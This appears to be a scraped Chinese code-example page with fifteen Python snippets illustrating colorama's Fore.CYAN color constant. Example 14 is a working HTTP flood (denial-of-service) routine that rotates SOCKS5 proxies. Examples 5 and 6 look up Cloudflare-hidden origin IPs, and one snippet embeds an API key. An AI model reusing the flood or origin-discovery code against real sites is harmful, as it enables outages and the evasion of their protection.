本文整理汇总了Python中colorama.Fore.CYAN属性的典型用法代码示例。如果您正苦于以下问题:Python Fore.CYAN属性的具体用法?Python Fore.CYAN怎么用?Python Fore.CYAN使用的例子?那么恭喜您, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在类colorama.Fore
的用法示例。
在下文中一共展示了Fore.CYAN属性的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: tunnel_traffic
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def tunnel_traffic(self):
"Tunnel traffic to remote host:port"
logger.info("%03d " % self.reqNum + Fore.CYAN + '[D] SSL Pass-Thru: https://%s/' % self.path)
server_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server_conn.connect((self.host, int(self.port)))
self.wfile.write(("HTTP/1.1 200 Connection established\r\n" +
"Proxy-agent: %s\r\n" % self.version_string() +
"\r\n").encode('ascii'))
read_write(self.connection, server_conn)
except TimeoutError:
self.wfile.write(b"HTTP/1.1 504 Gateway Timeout\r\n\r\n")
logger.warning("%03d " % self.reqNum + Fore.YELLOW + 'Timed Out: https://%s:%s/' % (self.host, self.port))
except socket.gaierror as e:
self.wfile.write(b"HTTP/1.1 503 Service Unavailable\r\n\r\n")
logger.warning("%03d " % self.reqNum + Fore.YELLOW + '%s: https://%s:%s/' % (e, self.host, self.port))
finally:
# We don't maintain a connection reuse pool, so close the connection anyway
server_conn.close()
示例2: build
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def build(path: str, output: str, upload: bool, server: str) -> None:
meta = read_meta(path)
if not meta:
return
if output or not upload:
output = read_output_path(output, meta)
if not output:
return
else:
output = BytesIO()
os.chdir(path)
write_plugin(meta, output)
if isinstance(output, str):
print(f"{Fore.GREEN}Plugin built to {Fore.CYAN}{output}{Fore.GREEN}.{Fore.RESET}")
else:
output.seek(0)
if upload:
upload_plugin(output, server)
示例3: login
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def login(server, username, password, alias) -> None:
data = {
"username": username,
"password": password,
}
try:
with urlopen(f"{server}/_matrix/maubot/v1/auth/login",
data=json.dumps(data).encode("utf-8")) as resp_data:
resp = json.load(resp_data)
config["servers"][server] = resp["token"]
if not config["default_server"]:
print(Fore.CYAN, "Setting", server, "as the default server")
config["default_server"] = server
if alias:
config["aliases"][alias] = server
save_config()
print(Fore.GREEN + "Logged in successfully")
except HTTPError as e:
try:
err = json.load(e)
except json.JSONDecodeError:
err = {}
print(Fore.RED + err.get("error", str(e)) + Fore.RESET)
示例4: perform
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def perform(self, requests=None):
for stage_info, code, request in self.api.dispatch_open_requests(requests):
action = request.find('action')
target_package = action.find('target').get('package')
if code == 'unstage':
# Technically, the new request has not been staged, but superseded the old one.
code = None
verbage = self.CODE_MAP[code]
if code is not None:
verbage += ' in favor of'
print('request {} for {} {} {} in {}'.format(
request.get('id'),
Fore.CYAN + target_package + Fore.RESET,
verbage,
stage_info['rq_id'],
Fore.YELLOW + stage_info['prj'] + Fore.RESET))
示例5: crimeflare
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def crimeflare(target):
print_out(Fore.CYAN + "Scanning crimeflare database...")
with open("data/ipout", "r") as ins:
crimeFoundArray = []
for line in ins:
lineExploded = line.split(" ")
if lineExploded[1] == args.target:
crimeFoundArray.append(lineExploded[2])
else:
continue
if (len(crimeFoundArray) != 0):
for foundIp in crimeFoundArray:
print_out(Style.BRIGHT + Fore.WHITE + "[FOUND:IP] " + Fore.GREEN + "" + foundIp.strip())
else:
print_out("Did not find anything.")
示例6: update
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def update():
print_out(Fore.CYAN + "Just checking for updates, please wait...")
print_out(Fore.CYAN + "Updating CloudFlare subnet...")
if(args.tor == False):
headers = {'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11'}
r = requests.get("https://www.cloudflare.com/ips-v4", headers=headers, cookies={'__cfduid': "d7c6a0ce9257406ea38be0156aa1ea7a21490639772"}, stream=True)
with open('data/cf-subnet.txt', 'wb') as fd:
for chunk in r.iter_content(4000):
fd.write(chunk)
else:
print_out(Fore.RED + Style.BRIGHT+"Unable to fetch CloudFlare subnet while TOR is active")
print_out(Fore.CYAN + "Updating Crimeflare database...")
r = requests.get("http://crimeflare.net:83/domains/ipout.zip", stream=True)
with open('data/ipout.zip', 'wb') as fd:
for chunk in r.iter_content(4000):
fd.write(chunk)
zip_ref = zipfile.ZipFile("data/ipout.zip", 'r')
zip_ref.extractall("data/")
zip_ref.close()
os.remove("data/ipout.zip")
# END FUNCTIONS
示例7: print_color
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def print_color(mtype, message=''):
"""@todo: Docstring for print_text.
:mtype: set if message is 'ok', 'updated', '+', 'fail' or 'sub'
:type mtype: str
:message: the message to be shown to the user
:type message: str
"""
init(autoreset=False)
if (mtype == 'ok'):
print(Fore.GREEN + 'OK' + Fore.RESET + message)
elif (mtype == '+'):
print('[+] ' + message + '...'),
elif (mtype == 'fail'):
print(Fore.RED + "\n[!]" + message)
elif (mtype == 'sub'):
print((' -> ' + message).ljust(65, '.')),
elif (mtype == 'subsub'):
print("\n -> " + message + '...'),
elif (mtype == 'up'):
print(Fore.CYAN + 'UPDATED')
示例8: main
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def main(city=0):
send_url = (
"http://api.openweathermap.org/data/2.5/forecast/daily?q={0}&cnt=1"
"&APPID=ab6ec687d641ced80cc0c935f9dd8ac9&units=metric".format(city)
)
r = requests.get(send_url)
j = json.loads(r.text)
rain = j['list'][0]['weather'][0]['id']
if rain >= 300 and rain <= 500: # In case of drizzle or light rain
print(
Fore.CYAN
+ "It appears that you might need an umbrella today."
+ Fore.RESET)
elif rain > 700:
print(
Fore.CYAN
+ "Good news! You can leave your umbrella at home for today!"
+ Fore.RESET)
else:
print(
Fore.CYAN
+ "Uhh, bad luck! If you go outside, take your umbrella with you."
+ Fore.RESET)
示例9: dns_lookup
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def dns_lookup(jarvis, s, txt, func):
while True:
request = str(jarvis.input("Please input a " + txt + ": "))
try:
if txt == 'ip':
jarvis.say("The hostname for that IP address is: " +
func(request), Fore.CYAN)
return
else:
jarvis.say("The IP address for that hostname is: " +
func(request), Fore.CYAN)
return
except Exception as e:
jarvis.say(str(e), Fore.RED)
jarvis.say("Please make sure you are inputing a valid " + txt)
try_again = jarvis.input("Do you want to try again (y/n): ")
try_again = try_again.lower()
if try_again != 'y':
return
示例10: akinator_main
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def akinator_main(jarvis, s):
opening_message(jarvis)
jarvis.say('Press "g" to start, or "q" to quit !')
while True:
user_in = jarvis.input()
if user_in == 'q':
jarvis.say("See you next time :D", Fore.CYAN)
break
elif user_in == 'g':
main_game(jarvis)
break
else:
jarvis.say('Press "g" to start, or "q" to quit !')
# Helper methods
示例11: nslookup
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def nslookup(self):
global nameservers
#nslookup to find nameservers of target domain
dns_white = Fore.RED+Back.BLACK+str('Dns records')
sec_bit = Fore.GREEN+Back.BLACK+str('for this domain.\n')
print(Fore.GREEN+Back.BLACK+str('\n\n\n{!} %s %s' % (dns_white, sec_bit)))
line = Fore.CYAN+Back.BLACK+str('************************************************************')
records = Fore.GREEN+Back.BLACK+str('DNS RECORDS:green')
print('%s\n%s\n%s\n' % (line, records, line))
try:
with open('nslookup.txt','w') as output_vale:
cmd = subprocess.call(f'nslookup -type=ns {self.domain}', stdout=output_vale)
with open('nslookup.txt','r') as ns2:
for line in ns2.readlines():
if 'nameserver' in line:
line = line.split(' ')[2]
nameservers.append(line)
os.remove('nslookup.txt')
#print(nameservers)
except Exception as e:
#print(e)
pass
return nameservers
示例12: pre_release
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def pre_release(version, *, skip_check_links):
"""Generates new docs, release announcements and creates a local tag."""
announce(version)
regen()
changelog(version, write_out=True)
fix_formatting()
if not skip_check_links:
check_links()
msg = "Preparing release version {}".format(version)
check_call(["git", "commit", "-a", "-m", msg])
print()
print(f"{Fore.CYAN}[generate.pre_release] {Fore.GREEN}All done!")
print()
print("Please push your branch and open a PR.")
示例13: on_minute
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def on_minute(conn, channel, bar):
symbol = bar.symbol
close = bar.close
try:
percent = (close - bar.dailyopen)/close * 100
up = 1 if bar.open > bar.dailyopen else -1
except: # noqa
percent = 0
up = 0
if up > 0:
bar_color = f'{Style.BRIGHT}{Fore.CYAN}'
elif up < 0:
bar_color = f'{Style.BRIGHT}{Fore.RED}'
else:
bar_color = f'{Style.BRIGHT}{Fore.WHITE}'
print(f'{channel:<6s} {ms2date(bar.end)} {bar.symbol:<10s} '
f'{percent:>8.2f}% {bar.open:>8.2f} {bar.close:>8.2f} '
f' {bar.volume:<10d}'
f' {(Fore.GREEN+"above VWAP") if close > bar.vwap else (Fore.RED+"below VWAP")}')
示例14: atk
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def atk(): #Socks Sent Requests
ua = random.choice(useragent)
request = "GET " + uu + "?=" + str(random.randint(1,100)) + " HTTP/1.1\r\nHost: " + url + "\r\nUser-Agent: "+ua+"\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n" #Code By GogoZin
proxy = random.choice(lsts).strip().split(":")
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]))
time.sleep(5)
while True:
try:
s = socks.socksocket()
s.connect((str(url), int(port)))
if str(port) =='443':
s = ssl.wrap_socket(s)
s.send(str.encode(request))
print(Fore.CYAN + "ChallengeCollapsar From ~[" + Fore.WHITE + str(proxy[0])+":"+str(proxy[1])+ Fore.CYAN + "]") #Code By GogoZin
try:
for y in range(per):
s.send(str.encode(request))
print(Fore.CYAN + "ChallengeCollapsar From ~[" + Fore.WHITE + str(proxy[0])+":"+str(proxy[1])+ Fore.CYAN + "]") #Code By GogoZin
except:
s.close()
except:
s.close()
示例15: cyan
# 需要导入模块: from colorama import Fore [as 别名]
# 或者: from colorama.Fore import CYAN [as 别名]
def cyan(s: str) -> str: # pragma: no cover
"""Cyan color string if tty
Args:
s (str): String to color
Returns:
str: Colored string
Examples:
>>> from chepy.modules.internal.colors import cyan
>>> print(CYAN("some string"))
"""
if sys.stdout.isatty():
return Fore.CYAN + s + Fore.RESET
else:
return s